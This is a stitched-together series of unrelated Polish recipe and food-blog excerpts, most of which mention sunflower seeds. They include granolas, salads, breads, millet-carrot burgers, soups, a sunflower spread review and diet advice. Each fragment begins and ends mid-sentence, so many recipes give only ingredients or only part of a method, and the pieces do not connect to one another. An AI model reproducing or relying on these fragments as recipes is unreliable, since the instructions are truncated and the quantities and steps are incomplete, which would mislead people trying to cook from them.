średnie banany) 220 g płatków owsianych bez glutenu 100 g suszonej żurawiny 100 g daktyli bez pestek 85 g migdałów 80 g pestek z dyni 80 g pestek słonecznika 50 g nasion chia 50 g sezamu 1 łyżeczka ekstraktu z wanilii Prostokątną formę do pieczenia o wymiarach dna około 21 x 32 lekko natłuścić i wyłożyć papierem do pieczenia. Daktyle

sałatki wykorzystałam świeży szpinak, pomidorki koktajlowe i czosnek. Skropiłam sokiem z cytryny, dosypałam nieco soli i pieprzu, a także resztkę zielonego pesto i jogurtu. Na koniec posypałam prażonymi nasionami słonecznika.   Myślę, że taka sałatka sprawdzi się idealnie nie tylko jako dodatek do mięs czy przystawka, ale również jako samodzielne danie.  Składniki (na dużą miskę) : 1 opakowanie tortellini

burgerze, kto jeszcze nie próbował, musi to nadrobić :) Burgery z kaszy jaglanej i marchewki Składniki (ok. 12 kotletów): - 2 szklanki startej marchewki - 2 szklanki ugotowanej kaszy jaglanej* - 1/2 szklanki słonecznika** - 1/4 szklanki sezamu** - 1/4 szklanki siemienia lnianego** - 1 cebula - 1/3 szklanki bułki tartej - 1/4 szklanki oleju rzepakowego - 2 łyżki sosu sojowego  - 1 łyżka oleju sezamowego (opcjonalnie) - 1 łyżeczka czosnku

Składniki: 1,5 szkl płatków owsianych 3/4 szkl suszonej żurawiny 1/3 szkl orzechów nerkowca 1/3 szkl wiórków kokosowych 1/3 orzechów laskowych 1/3 szkl płatków migdałowych 2 łyżki łuskanego słonecznika 1 jabłko starte 2 łyżki soku jabłkowego 2 łyżki miodu 2 łyżki oleju Wszystkie suche składniki mieszamy w misce ( w razie potrzeby orzechy wcześniej posiekać). W drugiej misce mieszamy sok, miód

bananem. Można również dodać inne ulubione owoce a także orzechy, rodzynki. Przepis zmodyfikowany od Nigelly Lawson. Składniki: 125 g płatków owsianych 65 g płatków migdałowych 30 g pestek słonecznika 30 g jasnego sezamu 2 łyżki syropu z agawy 1/2 łyżeczki cynamonu 1/4 łyżeczki imbiru 1 łyżka oleju Do miseczki włożyć wszystkie składniki. Dokładnie wymieszać. Blachę do pieczenia wyłożyć papierem

najzdrowszy olej na ziemi. Wszystko dlatego, że ma w swoim składzie wyjątkową grupę cząstek tłuszczu - trójglicerydy średniołańcuchowe (MCT). http://www.poradnikzdrowie.pl/zywienie/co-jesz/olej-kokosowy-zastosowanie-w-kuchni-kosmetyce-wlasciwosci-oleju-kokoso_35755.html Składniki: 160 g płatków owsianych górskich 50 g słonecznika 100 g mąki pełnoziarnistej 2 łyżki miodu 1 jajko 70 ml oleju kokosowego House of Asia ( De Care ) Olej kokosowy rozpuścić. Wsypać do niego resztę składników i dokładnie wymieszać. Odstawić

żółtej, 300 g fasolki szparagowej, 1/3 szklanki ciecierzycy z puszki, natka pietruszki, ok. 30 g pokruszonej fety, oliwa z oliwek, mieszanka ziaren do sałatki - u nas pestki dyni, pestki słonecznika i piniole Cukinię pokroić w średniej grubości plasterki i zgrillować na patelni grillowej - do zrumienienia z dwóch stron. Marchewkę obrać, a następnie przy pomocy obieraczki do warzyw z końcówką

proporcje składników, śmiało możecie je zmieniać i komponować wedle Waszych upodobań, gdyż granola nie może się nie udać :) Składniki: - ok. 200g rabarbaru - 150g płatków żytnich - 150g płatków owsianych - 50g słonecznika - 40g orzechów włoskich - 30g orzechów laskowych - 30g nerkowców - 30g płatków migdałów - 30g siemienia lnianego - 2 łyżki miodu (u mnie rzepakowego) - 2 łyżki oleju kokosowego *opcjonalnie: ksylitol do posłodzenia Rabarbar płuczemy

mogą się nie udać! :) Składniki: - szklankę orzechów (migdały, płatki migdałowe, nerkowce, włoskie i laskowe) - 3/4 szklanki płatków owsianych - 3/4 szklanki płatków jęczmiennych - 3/4 szklanki płatków żytnich - 1/2 szklanki nasion słonecznika - 1/2 szklanki otrębów owsianych - 1/2 szklanki otrębów gryczanych - 1/3 szklanki siemienia lnianego - 1/3 szklanki miodu - 1/4 szklanki oliwy z oliwek - 75g rodzynek - łyżeczka cynamonu - pół łyżeczki soli Orzechy rozdrabniamy

zdrowa kasza oraz jeszcze zdrowsze bakalie. Słodzone miodem i doprawione cynamonem. Czyż znajdzie się bardziej jesienny deser? Składniki: 3 jabłka 6 łyżeczek kaszy kuskus 2 łyżeczki rodzynek 1 łyżeczka słonecznika 1 łyżeczka orzechów 1 łyżeczka miodu 1/3 łyżeczki cynamonu odrobina soku z cytryny wiórki masła Kaszę kuskus zalewamy wrzątkiem niewiele ponad powierzchnię. Wsypujemy rodzynki. Całość zostawiamy na kilkanaście minut

żytniej  pełnoziarnistej 5 dkg drożdży 1 l wody ciepłej 4 łyżki cukru 2 łyżki płaskie soli 4 łyżki octu balsamicznego 2 łyżki otrąb owsianych 2 łyżki pestek słonecznika 2 łyżki nasion konopi Wszystkie składniki wymieszać łyżką drewnianą aby tylko połączyć składniki .Przełożyć do foremki , posmarować wodą .Piec około  1 godziny w temperaturze 180 stopni

suszonymi owocami, wole dodawać je na bieżąco -  w zależności na co akurat mam ochotę. Składniki: 350 g płatków owsianych zwykłych, 75 g wiórków kokosowych, 50 g pestek słonecznika, 30 g płatków migdałowych, 35 g siekanych migdałów, 35 g cukru trzcinowego, 100 g roztopionego masła, 2 łyżki płynnego miodu W dużej misce należy wymieszać ze sobą wszystkie suche składniki

jogurtem czy mlekiem. Dodajmy świeże lub suszone owoce i mamy ucztę na całego :) Składniki: (duża porcja) 350 g płatków owsianych, 40 g siemienia lnianego, 40 g sezamu, 50 g słonecznika, 80 g pestek dyni, 55 g orzechów laskowych, 40 g migdałów, 6 łyżek cukru trzcinowego, 3-4 łyżki miodu, 1/2 szklanki oleju rzepakowego, 1/4 łyżeczki soli, 1 łyżeczka ekstraktu waniliowego

granoli - spróbujcie koniecznie. Uzależnienie gwarantowane. Pomarańczowa granola z ziarenkami Składniki: (na 2 l słój) 400 g płatków owsianych 35 g siemienia lnianego 70 g ziaren dyni 70 g ziaren słonecznika skórka otarta z 1 pomarańczy sok z 1 pomarańczy 100 g miodu 2 łyżki oleju 75 g suszonych moreli 75 g suszonej żurawiny Płatki, siemię i ziarenka wymieszać w dużej

Polecam zioła prowansalskie lub bazylię i oregano :) Składniki : 150 g serka graniastego, np. Piątnica pół pomidora, pokrojonego w kostkę garść sałaty, np. roszponki zioła prowansalskie lub oregano 1 łyżeczka słonecznika Wszystkie składniki wymieszać w miseczce. Na wierzchu ułożyć sałatę i posypać ziołami. Smacznego

już trochę bardziej kaloryczne, bo na maśle, ale również z ogromem zdrowych dodatków:) Bardzo polecam! SKŁADNIKI: 2 dojrzałe banany 1/2 szklanki płatków owsianych 1/2 szklanki słonecznika 1/3 szklanki wiórków kokosowych 1/3 szklanki siemienia lnianego 1/3 szklanki płatków migdałowych lub ulubionych orzechów (posiekanych) 1/3 szklanki suszonej żurawiny 0,5 łyżeczki cynamonu 1 czubata łyżka miodu WYKONANIE: Piekarnik nagrzej do temperatury

Pyszna, kakaowo-kokosowa granola z wiórkami kokosowymi, orzechami nerkowca i miodem <3 Składniki na 1 słoik: 20 g łuskanego słonecznika 50 g płatków migdałów 220 g płatków owsianych górskich 20 g otrębów owsianych 50 g orzechów nerkowca 70 g wiórków kokosowych szczypta soli 200 g płynnego miodu 3 łyżki cukru trzcinowego 3 łyżki oleju kokosowego CZAS PRZYGOTOWANIA

Pyszne jako część obiadu lub w burgerach. Podaję za Jadłonomią. Składniki na około 20 małych kotletów: 2 szklanki startej marchewki 1 1/2 szklanki ugotowanej kaszy jaglanej 1/2 szklanki prażonego słonecznika 1/2 szklanki prażonego sezamu 1 czerwona lub biała cebula 1/2 szklanki bułki tartej 1/4 szklanki oleju 3 łyżki mąki (użyłam kukurydzianej, można inną) 2 łyżki sosu sojowego 2 łyżki posiekanej

trochę oliwy, to też zlewamy ją do garnka) i miksujemy wszystko dokładnie blenderem. Podajemy z podsmażonymi paskami boczku. Bardzo dobrze komponuje się również z podprażonymi na suchej patelni pestkami słonecznika. Smacznego

wiesz, co jesz! Składniki: 3 łyżki syropu z buraków cukrowych/agawy/innego środka słodzącego 2 szklanki płatków owsianych 3/4 szklanki wiórków kokosowych 1/2 szklanki migdałów lub innych orzechów 3/4 szklanki pestek słonecznika lub dyni 3/4 szklanki sezamu po 1 łyżce cynamonu i imbiru (jeśli lubisz) 1/2 szklanki rodzynek 3/4 szklanki żurawiny Piekarnik rozgrzej do 180-190 °C . W małym rondelku podgrzej syrop

trochę podobnie, jak trufle . Mega czekoladowe, ale nie tak bardzo słodkie. Idealnie pasuje do nich lekko kwaśny koktajl malinowy. Smacznego! Składniki: 1 filiżanka ziaren sezamu 1 filiżanka pestek słonecznika 1 opakowanie daktyli (25 dag) ½ filiżanki ciemnego kakao (niesłodkiego) kilka łyżek mąki + 1 łyżeczka sody oczyszczonej 2 łyżeczki syropu z buraków cukrowych/innego słodkiego syropu ulubione mleko Zalej na   noc wodą

ciepło pycha i do tego bardzo sycące. Na sos: kilka łyżek prażonych pestek słonecznika lub dyni, 1 woreczek odmrożonego jarmużu lub nieduża ilość świeżego (ugotuj na parze lub w wodzie), 3-4 ząbki czosnku, mały kawałek twardego sera żółtego (ze sztuczną podpuszczką, starty na tarce), trochę soku z cytryny i oliwy (kilka łyżek lub więcej). Drobno pokrój jarmuż, zblenduj resztę

zdjęciu: ziemniaki szwedzkie hasselback potatis , surówka z kapusty kiszonej , kotlet z czerwonej fasoli (panierowany w pestkach słonecznika, wg tego przepisu ), sałatka na ciepło z jarmużu i jabłka , seler w sosie pomidorowym z czosnkiem. Bogactwo smaków i aromatów. Do tego kolorowo, niedrogo i bardzo smacznie. Z wyjątkiem ziemniaków, resztę przygotujesz całkiem szybko. A jak przygotować seler w pomidorach? Składniki: 1 seler

Składniki: ziarna słonecznika (42%), woda, olej słonecznikowy, sok cytrynowy, sól morska. Producent – Zwergenwiese GMBH – Niemcy. Dystrybutor – Bio Planet S.A. Cena: od 11 do 14 zł. Masa netto:  180 g. Bardzo smaczna pasta do chleba. Smakuje podobnie jak wegańska śmietana słonecznikowa w wersji wytrawnej, ale ma bardziej kremową konsystencję i jest od niej bielsza. Jest wiele różnych smaków: z pomidorami

www.mgotuje.pl Dziś podaję kolejny przepis na domowy chlebek. Tym razem zrobiłam chleb z mąki orkiszowej z dodatkiem pszennej. Dodałam do niego otręby żytnie, ziarna słonecznika, siemienia lnianego i sezamu. Chleb wyszedł bardzo smaczny. W środku z miękkim i delikatnym miąższem, z zewnątrz zaś z chrupiącą skórką. Polecam bardzo Post Chleb

popołudniowej kawy :) Składniki : 60 g masła 1 szklanka płatków owsianych 1 szklanka mąki pełnoziarnistej 2 jajka 1/2 łyżeczki proszku do pieczenia 1/2 szklanki cukru brązowego 1 łyżka nasion słonecznika  Masło roztopić na małym ogniu. Wlać do miski i za pomocą łyżki wymieszać z resztą składników. Przygnieść, aby  płatki pochłonęły mokre składniki. Łyżeczką nabierać porcje ciasta, zgnieść w ręce

talerz, jak co dzień wiosną: papryki, pomidory, ogórki, rzodkiewki z liśćmi (tak, tak, to się je! : )), sałata - w ramach szaleństwa - wędlina sojowa wędzona - sałatka warzywna z majonezem na bazie słonecznika z  z tego przepisu - buraczki pieczone w folii, utarte ze świeżym chrzanem - rzeżucha - oczywiście do jedzenia, nie tylko ozdabiania stołu ;) - ciasto francuskie z kapustą  żur w chlebie

Topinambur czyli słonecznik bulwiasty. Wikipedia podaje na temat tej rośliny między innymi takie informacje "Bulwy topinamburu spożywane były przez Indian północnoamerykańskich w okresie przedkolumbijskim. Szybko zostały docenione przez kolonistów i zawędrowały do Europy i Azji. Rozpowszechniły się, choć uprawiane były raczej jako warzywo ogrodowe, na ograniczoną skalę, a nie na polach.W XVIII wieku straciły na znaczeniu zastąpione przez ziemniaki

Jabłka jem ostatnio codziennie, ponieważ pogoda zmieniła się na mglisto siąpiącą chłodnię zapragnęłam jabłek na ciepło. Najzybsze jest crumble jabłkowe. Moja wersja okazała się prawie granolą

lnianego - ja nie dałam;2 szklanki mąki pszennej;Opakowanie drożdży instant (7g) lub 25 g świeżych drożdży;2 łyżki ziaren siemienia lnianego;2 łyżki otrębów żytnich;1 szklanka ziaren słonecznika;2 łyżki oleju.Sposób przygotowania:Do miski (u mnie od miksera) lub na stolnicę wsypać/wysypać składniki w wymienionej w przepisie kolejności - zaczynając od zakwasu, a kończąc na oleju

Płatki owsiane na soku jabłkowym z jabłkiem* i prażonym słonecznikiem w cukrze* w kawałkach i starte na tarceDobra przyznaję się, pomysł prawie całkowicie ściągnięty od Marin. Ale, cóż poradzić, że ma takie genialne pomysły :D  inspiracjaMiło do godziny nastej w nocy robić notatki do sprawdzianu, by potem go przełożyć xd Ale swoją droga cieszę się, bo na dzisiaj

cebulka 1 marchewka 1 ziemniak 1/2 paczki mrożonych brokułów (w której akurat znalazło się też kilka kwiatów kalafiora ;)) 1 szklanka makaronu razowego typu: świderki nasiona do posypania (u nas słonecznik i pestki dyni) starty parmezan (może być też mozarella) pieprz, pieprz ziołowy, szczypta soli, łyżeczka czosnku, łyżeczka papryki słodkiej, łyżeczka kurkumy, szczypta pietruszki Przygotowanie: Gotujemy bulion. Do bulionu dodajemy pokrojoną

podanych proporcji można przygotować 10 dość dużych bułek. Bułki z ziarnami Składniki:400g mąki pszennej typ 650300g mąki pełnoziarnistej300ml letniej wody200ml mleka120g ziaren (u mnie sezam, pestki dyni i słonecznika)25g drożdży świeżych2 łyżki roztopionego masła2 płaskie łyżeczki soli1 łyżeczka cukru1 białko i 1 łyżka mleka do posmarowania bułekziarna do posypania Wykonanie:- składniki powinny być w temperaturze pokojowej- drożdże rozkruszyć

cebuli  2 ząbki czosnku 1 x łyżeczka oliwy pieprz/sól/papryka ostra/chilli/ łyżeczka curry/bazylia&oregano kawałek mozarelli garść orzechów lub nasion (dziś użyłam pestek dyni i słonecznika) *jeśli zupa nie będzie zbyt gęsta, można dodać 1-2 jogurtu  Przygotowanie: 1. Gotujemy bulion, zmniejszamy ogień 2. W mniejszym garnku (lub patelni) na łyżeczce oliwy podsmażamy krótko posiekaną cebulkę

blogu eatyourdream . Upiekłam i polecam, jest przepyszne i bardzo łatwe do zrobienia. Razowe chrupkie pieczywo pełnoziarniste Składniki: 1 szklanka mąki razowej żytniej 1 szklanka otrąb pszennych 4 łyżki słonecznika 4 łyżki siemienia lnianego 2 łyżki sezamu 2 łyżki oleju 2 szklanki wody 1 łyżeczka soli szczypta proszku do pieczenia Wykonanie: Mieszamy suche składniki, dodajemy do nich mokre. Dokładnie mieszamy. Blachę

pieczeniu będzie to gotowy zaczyn, odłożony do lodówki) 75 g otrębów żytnich 250 ml wrzącej wody 15 g soli 75 g siemienia lnianego 75 g ziaren słonecznika  250 g mąki pszennej chlebowej 125 g mąki razowej żytniej  125 g mąki razowej pszennej 500 ml wody Wykonanie: Otręby zalewamy wrzątkiem o odstawiamy na 2 godziny

nieśmiałością" postanowiłam zaryzykować upieczeni chleba z gotowej mieszanki. Przekonała mnie informacja, że mieszanka zawiera naturalnie składniki bez konserwantów, GMO ani GMM. Zdecydowałam się upiec chleb żytni litewski z ziarnami słonecznika i z kminkiem. Mieszanki fajnie się prezentują w brązowych ekologicznych papierowych torbach, w które są zapakowane. Są bardzo łatwe w użyciu, instrukcja wypieku jest prosta i czytelna. Chleb ładnie wyrósł

Czas przygotowania: 80 minut Składniki: 250 g otrębów pszennych 250 g płatków  owsianych 100 g pestek dyni 200 g pełnoziarnistej mąki  żytniej 200 g ziaren  słonecznika 100 g siemienia lnianego 100 g ziaren sezamu 2 łyżeczki soli 900 ml wody Wykonanie: Wszystkie składniki dokładnie mieszamy i odstawiamy na 10 minut. Blachę wykładamy papierem do pieczenia

Czas przygotowania: 10 minut + 35 minut pieczenia Składniki: Szklanka otrębów owsianych Szklanka otrębów pszennych Szklanka otrębów żytnich Szklanka wiórków kokosowych ½ szklanki migdałów w całości ½ szklanki orzechów sojowych ½ szklanki pestek słonecznika pomieszanych z pestkami dyni 4 łyżki miodu 1 łyżka oleju Szczypta soli ½ szklanki rodzynek 160g - 2 opakowania tropical mix w składzie:* 48g - 30% płatki kokosowe 48g - 30% suszony ananas

Wpis pochodzi z www.mgotuje.pl Dziś przedstawiam Wam mój przepis na sałatkę, którą uwielbiam i mogłabym jeść bardzo często. Brokuły z fetą, prażonymi pestkami słonecznika, polane sosem czosnkowym. Można ją podawać jako osobny posiłek na lunch, kolację ale równie dobrze pasuje jako przystawka na różnego rodzaju przyjęcia. Polecam ją każdemu. Post Sałatka z brokułów

soczysty i aromatyczny Kurczak pieczony z rozmarynem. Wystarczyło tylko po upieczeniu rozciąć woreczek i wyłożyć na talerz z mieszanką sałaty, paskami ogórka i pomidora, oraz prażonym na suchej patelni słonecznikiem. Pieczony kurczak to niektórych trywialne, proste i mało atrakcyjne danie, ale jest chude, a dla tych co liczą kalorie to bardzo ważny atut, do tego kurczak jest tani. Na święta

mozzarella układamy naprzemiennie na sałacie, na wierzchu układamy mały świeży listek bazylii. Delikatnie buraki wcześniej skropiłam octem balsamicznym. Doprawiamy sałatkę solą i świeżo zmielonym czarnym pieprzem, posypujemy prażonymi ziarnami słonecznika, dyni oraz orzeszkami piniowymi. The post Sałatka z buraka à la caprese appeared first on Damsko-męskie spojrzenie na kuchnię

przyjemnie, jak lubię najbardziej.  Sałatka z wątróbkami z dorsza  1 puszka wątróbek z dorsza w naturalnym oleju kilka liści sałaty lodowej pomidor ser lazur   prażone pestki słonecznika Sos: sok z połowy cytryny łyżka musztardy dijon 2 łyżki oliwy z oliwek łyżeczka miodu 2 łyżki wody 1 łyżeczka octu winnego jabłkowego Sałatka jakże banalna. Jednak do smaku wątróbek

danie samodzielne lub dodatek do mięs.  Płatki owsiane czy jęczmienne to idealne śniadanie. Można dodać mleko lub jogurt i koniecznie bakalie. Suszone śliwki, morele, pestki dyni czy ziarna słonecznika. Samo zdrowie na talerzu :) Zachęcam was do ich spożywania! P.S. Wiecie co? Nigdy nie jadłam pyszniejszych kasz i suszonych moreli! Z pewnością zostanę stałą klientką BadaPak

pochmurny, mało zachęcający do czegokolwiek wieczór.  Enjoy! Sałatka z jajem i serem lazur - kilka liści sałaty lodowej - pomidorki koktajlowe - 4 sztuki - ogórek - szczypiorek - dwa jaja  - prażone ziarna słonecznika - ser lazur  winegret: -  1 łyżka oliwy z oliwek -  1 łyżka octu winnego -  1 łyżka wody - pół cytryny - łyżeczka musztardy francuskiej - łyżeczka sosu sojowego - sól, pieprz - łyżeczka

szklanki mąki - kostka masła prawdziwego zaw. 82% tłuszczu - 3/4 szklanki cukru pudru - cukier waniliowy - 1/2 szklanki posiekanych orzechów - 1/2 szklanki podsmażonych ziaren słonecznika - łyżeczka sody W dużej misce mieszamy wszystkie suche składniki. Masło siekamy na drobniejsze kawałki, po czym dodajemy do miski z naszymi składnikami i zagniatamy ciasto.  Formujemy powstałe ciasto w małe kuleczki, przypominające orzech włoski, po czym

dokładnie, na końcu porcjami dodając mąkę. Potrzebujemy uzyskać konsystencję dosyć gęstą, jednak ciasto nie daje się uformować w żaden kształt. Przekładamy do keksówek wyłożonych papierem do pieczenia, posypujemy pestkami słonecznika, owijamy w folię i lnianą ściereczkę, odstawiamy do wyrośnięcia.       Masa potrzebuje co najmniej 9-10 godzin, dla pewności zostawiłam trochę dłużej (najlepiej na noc, niecierpliwe oczekiwanie

inne składniki, takie jak fasola, ciecierzyca czy tofu. Te składniki są bogate w białko i dodają danie dodatkowego smaku i pożywienia. Oliwki, kapary, suszone pomidory czy pestki dyni lub słonecznika to elementy, które również warto włączyć do dania. Wszystkie te składniki można dowolnie łączyć, aby stworzyć pyszne i pożywne danie z makaronem bez mięsa. Można też eksperymentować z różnymi przyprawami

szczęście sprawdziłam wcześniej aby nie był rozgotowany. Składniki  2 porcje 1/2 szklanki czerwonego ryżu 2 garscie rukoli 2 suszone pomidory kilka pomidorków kokrajlowych posypka z nasion: pestki dyni, słonecznik, len, sezam 2 łyżki oliwy z oliwek sól i pieprz do smaku sok z połówki cytryny Przygotowanie:  Ryż płuczemy pod bieżącą wodą, przekładamy do garnka, zalewamy szklanką wody

BROKUŁAMI SKŁADNIKI 400 gramów polędwiczek z kurczaka; różyczki z połowy brokuła; kilka rzodkiewek; dymka; świeża kolendra; 1 szklanka bulguru (około 200 gramów); mielone ziele angielskie; 1 cytryna; ziarna słonecznika; kiełki np. lucerny; jogurt naturalny; sos chilli; oliwa... Artykuł Kurczak z brokułami i bulgurem pochodzi z serwisu Kuchnia Tomka

niezwykle szerokie możliwości. Możesz przygotować ją z dodatkiem owoców, jogurtu, kakao, bądź w wersji wytrawnej, z warzywami. Ogranicza Cię jedynie wyobraźnia. Do owsianki doskonale pasują wszelkie ziarna, np. słonecznik, pestki dyni czy amarantus. Tego rodzaju śniadanie z pewnością zapewni Ci maksimum energii na cały dzień. Szczególnie śniadania z jajkiem, które w wielu krajach uważane jest za podstawę każdego śniadania

wielkości orzecha włoskiego 250 g sera twarogowego półtłustego 50 ml słodkiej śmietanki sól pieprz 2 łyżki posiekanego koperku lub szczypiorku Dodatkowo do panierowania sezam i czarnuszka posiekane orzechy prażony słonecznik Twaróg przełożyć do miski i rozgnieść widelcem, wlać śmietankę i dokładnie wymieszać. Następnie doprawić do smaku solą i pieprzem, wsypać koperek lub szczypiorek, wymieszać. Na talerzyki wsypać ziarna każdy rodzaj

możesz też dodać kostki lodu (na bazie wody lub soku) i całość zblenderować. Oprócz miodu i cynamonu możesz także dodać: imbiru, soku z cytryny, kurkumy ewentualnie ziarna np słonecznika lub siemienia lnianego . Jednym słowem wszystko co mamy pod ręką i nam smakuje. Jest tylko 1 warunek. Smoothie nie może być gęste, gdyż aksamitnie gładka konsystencja odgrywa ważną rolę. Sposób wykonania

chleb wyrośnie, do pieca, wyciągamy go z foremki, studzimy i wciągamy z masłem. Dodatki? Łoo, co tam tylko chcecie dorzucić: orzechy włoskie, laskowe (polecam, to nasze nowe odkrycie), migdały, słonecznik, siemię lniane, pestki dyni, śliwki, morele, żurawina, rodzynki, suszone pomidory, oliwki, itd. Kombinujcie. Ja to uskuteczniam od roku. Jeżeli nie macie głowy do robienia chleba w okolicach świąt, róbcie

długi czas. Składniki 1 opakowanie roszponki brokuł gotowany przez 5 minut pieczony do miękkości burak w mundurku obrany po upieczeniu 1 kostka fety 2 łyżki sprażonych pestek z dyni, słonecznika i orzeszków piniowych 3 jajka ugotowane na twardo Sos: 3 łyżki jogurtu naturalnego 3 ząbki czosnku 2 łyżki ketchupu łyżeczka cukru sól pieprz Przygotowanie Na spód dałam roszponkę, później ułożyłam

dzieci które są niejadkami. Poniżej zebrałam dla was przykłady stylizacji moich zup. Jak dekorować zupy? Ja najczęściej wybieram: grzanki groszek ptysiowy grissini lub paluszki chlebowe pestki i ziarna: słonecznik, dynia, sezam, len, czarnuszka świeże listki ziół kiełki oliwa lub olej tłoczony na zimno lub smakowy kleksy ze śmietany, jogurtu kolorowe przyprawy: pieprz, papryka, curry jadalne kwiaty świeże lub suszone ozdobny

pozostawić na 10-12 godz. II Etap Do rozczynionego zakwasu dodać: -1 kg maki pszennej chlebowej typ 720 -1/2 szklanki siemienia lnianego zmielonego -3/4 szklanki ziaren słonecznika lub dyni -3/4 szklanki otrąb pszennych lub żytnich -4 i 1/4 szklanki letniej wody -3 łyżeczki soli -10 g drożdży świeżych lub 4 g suchych -1 łyżka

mlekiem kokosowym mam dobrą wiadomość- jest niewyczuwalny w zupie. Ale jeśli tak  ja źle sie czujcie po mleku kokosowym to polecam zrobić mleko słonecznikowe namaczając wcześniej w wodzie słonecznik chociaż na godzinę. Potem przelać wodą pestki i zmiksować ze świeżą wodą (400 ml). . Składniki: 500 g korzenia białej pietruszki 1 antonówka ( ok. 200 g upieczonego miąższu) sól i pieprz

Sprawdzamy czy dodatkowo nie doprawić solą , pieprzem , maggi . Krem z brokułów podajemy na ciepło. Możemy go przyozdobić gęstą śmietaną*, jogurtem*, serem feta*, startym żółtym serem * oraz posypać prażonymi pestkami słonecznika lub dyni . *wersja niewegańska Jeszcze więcej wegańskich przepisów Kotlety z buraka Warzywa z tofu w sosie satay Pulpety jaglane Tortilla przepis na ciasto Makaron w sosie szpinakowym Boczniaki po kaszubsku

sałatkę ze szpinakiem jest ponadprzeciętnie elastyczny. Dlatego śmiało uzupełnij go tym, co lubisz i co odpowiada Tobie w połączeniu ze smakiem szpinaku. Świetnie sprawdzą się suszone pomidory, jabłko, prażony słonecznik, w sezonie również truskawki, a poza sezonem suszona żurawina. A kiedy będziesz naprawdę głodny, dodaj kurczaka lub chipsy z boczku. To z pewnością ten rodzaj sałatki, którą przygotowujesz

chevre 2 porcje Składniki: 50 g rukola kilka listków świeżej bazylii 1 mały ogórek świeży 2 małe awokado 200 g truskawek 100 g czereśni 2 łyżki prażonych nasion, słonecznik i dynia 1 łyżka kokosowych chipsów 1 łyżka świeżych ziół, u mnie tymianek Dressing 50 ml oliwy z oliwek 2 łyżki soku z cytryny 1 łyżka agawa syropu lub klonowego syropu

możemy otrzymać nowy, wyjątkowy smak, który zadowoli podniebienie nasze i naszych gości. Najczęściej możemy się spotkać z sałatką z ananasem i: szynką konserwową; kurczakiem; indykiem; żółtym serem; porem; orzechami; słonecznikiem; awokado; Prosty przepis na sałatkę z ananasem bez mięsa Do przygotowania prostej sałatki ananasowej potrzebujemy: 1 słoik selera konserwowego; 1 puszkę kukurydzy konserwowej; 0,5 puszki ananasów; 3 jajka ugotowane

skondensowane. Śmietanę możesz zastąpić jogurtem. Orzechy, nasiona i rośliny strączkowe Zalecane są niesolone: orzechy włoskie, migdały, orzechy brazylijskie, orzechy laskowe, orzechy pekan i orzechy nerkowca. Polecane są również nasiona słonecznika, pestki dyni, siemię lniane, nasiona konopi i nasiona chia. Wprowadź do swojej diety bogate w białko rośliny strączkowe: groch, ciecierzycę, soczewicę, fasolę m.in. adzuka i fava. Z ciecierzycy możesz przygotować

około 162kcal Białko: 5,0g Węglowodany: 9,3g Tłuszcz: 12,5g Błonnik pokarmowy: 2,3g Ładunek glikemiczny: 3,4 Spróbuj także: sałatka na szpinaku z suszonymi pomidorami i prażonym słonecznikiem, sałatka z arbuzem, fetą i oliwkami . Jeśli chcesz być na bieżąco ze zdrową i smaczną dietą, śledź mnie na  Facebooku  i  Instagramie    Tam częściej pojawiają

śniadanie, jak i na słodką przekąskę w ciągu dnia. Są idealnym dodatkiem do mleka lub ciepłego kakao. Można do nich dodawać różne dodatki np. żurawinę, sezam, orzechy włoskie, ziarna słonecznika czy rodzynki. Ciastka owsiane pięknie pachną i fantastycznie smakują. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Ciasteczka owsiane 5 z 1 głos Autor: Przepis Czytelnika Danie: Ciasteczka Kuchnia: Polska Trudność: Łatwe Tryb gotowania

migdałowymi , Sałatka z mango, awokado i fetą, Z buraczkiem i jabłkiem , Sałatka z awokado i buraczkiem, Z pieczonym serem halloumi i batatem , Sałatka na szpinaku z suszonymi pomidorami i słonecznikiem, Z wędzonym łososiem i jajkiem, Sałatka z arbuzem, fetą i oliwkami, Sałatka z pieczonego kalafiora i ogórka , Pyszna sałatka z serem cheddar . Mam nadzieję, że dzięki tym pomysłom na sałatki

pasuje do ryb, kurczaka. Jeżeli chodzi o rodzaj pesto, nie musicie ściśle trzymać się mojego pomysłu. Rukolę możecie zastąpić natką pietruszki, jarmużem lub czosnkiem niedźwiedzim. Pestki dyni – pestkami słonecznika, orzeszkami piniowymi. Jeżeli nie jesteście na diecie przeciwgrzybiczej koniecznie dodajcie do pesto ser długodojrzewający, to przecież podstawa każdego tego typu sosu. Na zdrowie. Zdecydowanie. Jeżeli ktoś z Was wszedł

ciasto nie będzie miało bardzo zbitej konsystencji nadającej się do wyłożenia na paterę. Bardziej jako indywidualny deser podany na talerzyku. Spód: 40g płatków owsianych 20g wiórków kokosowych 20g pestek słonecznika 2 łyżki masła orzechowego 2 łyżeczki erytrytolu Masa jabłeczna: 5 jabłek 2 łyżeczki cynamonu 100 ml wody 1 łyżka soku z cytryny 1 łyżka masła 2 łyżki erytytolu Masa serowa

dobrze. Uwierzcie mi, że nie mam mu nic do zarzucenia. Osobiście tego nie sprawdzałem, ale podejrzewam, że równie dobrze by wyszedł, gdyby dodać do niego jakieś 50 g ziaren słonecznika czy pestek dyni. PRZEPIS NA SZYBKI PSZENNO-ŻYTNI CHLEB Z FORMY Szybki pszenno-żytni chleb z formy – składniki: 400 g mąki pszennej jasnej 100 g mąki żytniej

zajmie Wam więcej niż kwadrans. Składniki na sałatkę z kopru włoskiego: - koper włoski - garść mieszanki sałat - kilka sztuk ugotowanych włoskich ravioli np. ze szpinakiem i rocottą - czerwona papryka - kiełki słonecznika - czarnuszka - ocet balsamiczny z Modeny DOP - sól, pieprz, oliwa z oliwek Sałatka z kopru włoskiego i ravioli ze szpinakiem zero waste Z podanych składników skomponuj pyszną sałatkę rozkładając wszystko

cukru pudru 1 – 2 łyżeczki soku z cytryny wierzch 4 łyżki śmietany 18% 1 kopiata łyżka cukru pudru spód 100 g herbatników 2 – 3 łyżeczki oleju ze słonecznika Wykonanie Herbatniki rozdrabniamy w blenderze na piasek. Mieszamy z olejem i wykładamy nimi tortownicę (24 cm) wyłożoną papierem do pieczenia. Spód ugniatamy. Tortownicę umieszczamy

jeszcze funkcję „przypiekania” aby był chrupiący z góry. Jeśli nie macie tej funkcji to pieczcie go chwilę dłużej. Powinien być rumiany. Możemy posypać go sezamem, albo ziarnami słonecznika. Smacznego! Artykuł Chlebek ziołowy bez wyrastania [PRZEPIS] pochodzi z serwisu Kulinarny Blog - wiesz jak gotować

